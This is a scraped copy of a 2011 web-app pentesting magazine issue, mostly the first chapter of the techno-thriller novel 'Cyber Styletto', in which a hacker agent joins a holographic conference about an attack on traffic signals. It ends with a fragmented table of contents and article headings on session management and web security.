assumed her image was doing something similar on the other end of the communication, and that Stokes was probably running his hand along the electrons that formed the likeness of her hip. This would not do. She didnt see the value of such a system, except to give Stokes access to her private life. Instead of addressing him straight on, she kept her head down, staring at the keyboard while she worked at hacking the systems code. So, what else can you tell me, Rohan? You didnt call just to give me that terrible news. Stokes wasnt ready for business yet. Is that Cummings? he asked. Yes. He looked a little sleepy. So you invited him into your bedroom? The officer was leaning against a dresser, downing the last dreg from his cup. Stokess voice raised an octave. And youre still wearing a robe?
Page 55
CYBER STYLETTO
He is cute. And besides, where else would I set up this new toy? This is where I spend most of my time. While she spoke, she barely lifted her eyes from the Scan Us controls, but she could sense the scowl creeping over his face. She was enjoying playing with him. Yvonne, you should have put the unit in your office. You cant bring my officers into your bedroom. Why not? Hes not married. Stokes cleared his throat. His voice came back down to its usual tenor. Lieutenant, youre only supposed to be there until were sure the Scan U is working. As you can see, it is. Now get the hell back to your office! There was a fading, Sir, yes sir! as Cummings retreated. When he was gone, Stokes blew another puff of air. All right, Yvonne, he said. Time to be serious. Very serious. Yes, the signals are still down in Silicon Valley, the police are going crazy trying to control traffic, and Network Systems suspects someone has hacked their command servers. How the hell do you know all that? Im very popular with the boys out there, too. You know how it is a little smile, a little shake, and some of them will tell you anything. She waited for him to calm down. Actually, I have some friends at NetSys. They texted me 15 minutes ago. She grabbed her wireless from the table and waved it slowly back and forth. Stokes shook the specter of his head again. NetSys says it wasnt just that the signals went out in most of the area, he said. They werent able to reroute to get back online. It was almost as if someone else had gained full control. Like they were testing to see how much control they could get. A network attack. Thats what were looking at. Give me some IPs and Ill start looking. Hang on. Im bringing in my boss, Vice Admiral Lucas from CyberCom, and a Mr. Sanchez. Right now? she replied. Yes. A girl cant sleep in anymore. All right. As Stokes moved to conference in the other parties, Yvonne finished accessing Scan Us program. She copied a few lines of code from a routine on her personal computer, and configured it to replace the command that instructed the unit to take video of her and project it to the others in the conference. She ordered it to instead access a file she had stored on the web. What the f? Stokes said. Language, darling. We have guests. An artist friend
of hers had created an animation a few weeks before at her request a fantasy superhero raven haired, with a face like a princess, and an athletes body wrapped in a leather jumpsuit, wearing four inch heels. It was not that different from her real appearance, but having this alter ego to present to strangers made her more comfortable. She could control the image from her own keyboard, and make the 3 D graphic respond to her commands. She commanded the cartoon body to swivel seductively, and knew it would produce the same show for everyone else in the conference. I needed to do something about my appearance, she said. I just look a mess at this hour. She had to laugh at her own joke. Besides, you dont want to divulge my identity just yet, right? But how did you do that? The Scan U is the most advanced piece of communications technology at CyberCom. Its completely new. Nothing a good hacker cant figure out. Thats why you hire me, remember? She sometimes thought the real reason was because he was still in love with her, but it was far more involved. Beyond his little boy infatuation was a mind as duplicitous as hers almost. She wasnt just a hacker, hed told her, she was the best hed ever confronted. He was CIA at the time. He and his team pursued, and she eluded. She flirted with him as she ridiculed their efforts, and he had the gall to flirt back. The men she duped usually became angry that a woman could outsmart them, but Stokes seemed to enjoy the competition. And then they caught her, and as she was brought into custody she could not help thinking she had let herself be caught, if only to meet him, to see in person a man who played the game at her level. Now she owed him for keeping her out of prison. She could have been hacking into another online scam, ripping off the ripoff artists and making a million or so in the process, but she was stuck working for Stokes, chasing what was probably a short circuit or a tripped breaker somewhere. She chastised herself again for her mistakes playing with him, leaving herself open, getting involved. They were mistakes she promised never to make again. Two new holographic images appeared simultaneously, on either side of Stokes. Ed Lucas was on the left. Almost a pity he was in the military. He had the ruddy good looks that would have made him a decent model or a porn star. On the right was a woman in a suit, with her hair pulled back into a bun so tight it raised the corners of her eyebrows into a Mr. Spock like air of astonishment. Maybe Stokes had made a mistake referring to her in the masculine, but Yvonne couldnt let it go anyone this stiff deserved derision.
Page 56
My dear Edward, Yvonne said. So nice to see you again. And this must be Mr. Sanchez. The woman huffed. What? Thats Ms. Sanchez. Really? My fault. Totally my fault, Stokes cut in. Someone on my staff must have made a typo in the message he sent, and I passed it on. An honest blunder, Im sure, Yvonne said. The mistake is certainly understandable. Wheres her image? Sanchez said. All Im getting is an avatar. It looks like some kind of Spider woman. Ooh, thats a new one, Yvonne said. I like it. I think maybe I will use it. I need to see her face! Sorry, darling, that image is classified. Mr. Stokes, who is this person? Yvonne smiled. She had Sanchez off balance and would keep her that way. It made the stuffed shirts and blouses so much easier to deal with. Stokes cut in. Ms. Sanchez, I cant divulge this persons name. Shes a cyber security expert with top secret clearance and a record of cracking some of our most difficult cases. Her code name is Cyber Styletto. The avatar curtsied. Sanchez let out a Humph. Besides, as Rohan knows, I look a fright when I get out of bed, Yvonne said. Do you have to make those jokes? Oh yes, Rohan. It makes me how do you say more human. Please, the situation is critical. All right, Yvonne said. I will focus. So who is the lovely lady? Rita Sanchez, chief information security officer at Network Systems, the company that sold the servers to CalTrans. Time to check the warranty. Maybe CalTrans can get a refund. I swear, MissMiss. Oh, never mind, Sanchez said. Ms. Sanchez, Stokes said, can you fill us in on what youve been able to determine? Sanchez had nothing. Instead she rattled on about product performance and redundancies, and how the servers were designed to be virtually impossible to compromise. She played with the top button of her blouse, which seemed to Yvonne to be tight enough to choke her. While she listened to the woman fumble for answers, Yvonne reached for the computer keyboard on her desk and tapped in a few more commands. Network Systems files were password protected, with redundancies, but her password generator cracked through before
Sanchez finished speaking. She conducted a few file searches, and a schematic of the traffic control grid in the area displayed. She traced the signal outages with her fingers, looking for patterns. Sanchez went on, and she interrupted. This is definitely an attack, but its also a probe. What do you mean? Sanchez asked. Theyre looking for weaknesses more than trying to cause damage at this point. Whoever did it may have been surprised they were able to control the system so easily. Thats why the attack came in the middle of the night. If they wanted to hurt people they would have done it during rush hour. They found a way to hurt people anyway, Stokes said. The attackers probably consider that collateral damage. Is this the work of a foreign power? Lucas asked. Maybe. Maybe not. This is like the Bay Area power outage in 2001, Lucas said. We knew that one was a state sponsored probe. They were testing our security protocols. Its a very sophisticated attack, Yvonne said. She typed out more commands. A portion of the Network Systems server motherboard came into focus on the screen, and she relayed it into the Scan U system so the others could see. Ms. Sanchez, I need you to send me the complete schematic of this. My God. How did you get that? Sanchez said. Your networks are not as secure as you might think. How soon can I have it? Stokes cut in. I think youll agree our agent needs to take over this investigation as soon as possible. You know my price, Rohan. Ill have a quarter million dollars deposited in your account as soon as the bank opens this morning. You get the other quarter million when the job is completed to our satisfaction. And I want an extra quarter million from Network Systems. For, um, consulting. Sanchez hand went from her button to her throat. What? Thats extortion, she said. And youll pay it, Stokes said. If you want to keep supplying servers to CalTrans and other government agencies. Sanchez turned away and seemed to be muttering something to an associate. Admiral Lucas had to bring a hand up to hide his laughter. I see our agent hasnt changed a bit since she started working for us. Still as mercenary as ever, he said.
END Chapter One

By Mike Brennan and Richard Stiennon
Page 57
In the upcoming issue of the
Application Security: understanding the risk reality. How is second becoming first?? Layer 2. Dont learn to hack. Hack to learn!
Available to download on January 18th
If you would like to contact Pentest team, just send an email to en@pentestmag.com. We will reply immediately. We will reply a.s.a.p.

Web Appc Pentesting 02 2011

Uploaded by

Document Information

Original Description:

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Web Appc Pentesting 02 2011

Uploaded by

Copyright:

Available Formats

T o D o L is t

nalyzing oftware ecurity tilizing isk valuation

Know your softwares pedigree. Get ASSURE .

Web App Pentesting for Charity

WEB APP SECURITY FOR NEWBIES

Web Application Security for Newbies part 1

WEB SESSION MANAGEMENT

Web Session Management reality is a nightmare!

A chance to ease automated Web Site testing

Passwords considered harmful, yesterday

SECURITY CYBER WAR

Cyber Security War ofensive vs defensive

02/2011 (2) December

SECURITY PRESERVATION AND HACKING

Web Application Security Preservation and Hacking

By Sebastien Bischof and Jean-Marc Bost

WEB APP PENTESTING FOR CHARITY

Mathematical formulas created by Design Science MathType

Novel Prologue and 1st Chapter

By Mike Brennan and Richard Stiennon Cyber Styletto

02/2011 (2) December

WEB APP SECURITY FOR NEWBIES

Your Customer Does not Really Know What They Want

WEB APP SECURITY FOR NEWBIES

Your Competitors will Muddy the Waters

What is This Thing called OWASP and Why Should I Care?

Table 1. Example priority rating for detected issues

Medium Low Informational

02/2011 (2) December

WEB APP SECURITY FOR NEWBIES

Web Application Vulnerability Report

02/2011 (2) December

WEB SESSION MANAGEMENT

Web Session Management

Case Study Social Networking Portals

Cookie Transfer Channel

Figure 2. Traverse on an unencrypted channel

Session Expiration Timelines

Figure 3. Authentication cookie sent to encrypted channel

02/2011 (2) December

WEB SESSION MANAGEMENT

Session Log Out

Figure 4. Cookie import

Figure 5. Cookie import

02/2011 (2) December

Timeout and Logout

Extra Authentication (Sensitive Operations)

WEB SESSION MANAGEMENT

Forging IT Security Experts

Expert IT Security Training & Services

Free Hotel Offer on Select Boot Camps

703 535 8600

Sign Up & Get Free Quiz Engine From cccure.org

Why Is The Web Page Code So Large And Complex?

Figure 1. Gmail login web page

02/2011 (2) December

Getting A Graph Of A Web Page

Figure 2. Sample graph representing objects relation and properties

Object C(input field) is below Object B Object A is to the left of page

Reference Implementation (What have we done so far)

Grammar, etc. ...

Figure 3. Illustrated scenario of comparing a web page against functional description

02/2011 (2) December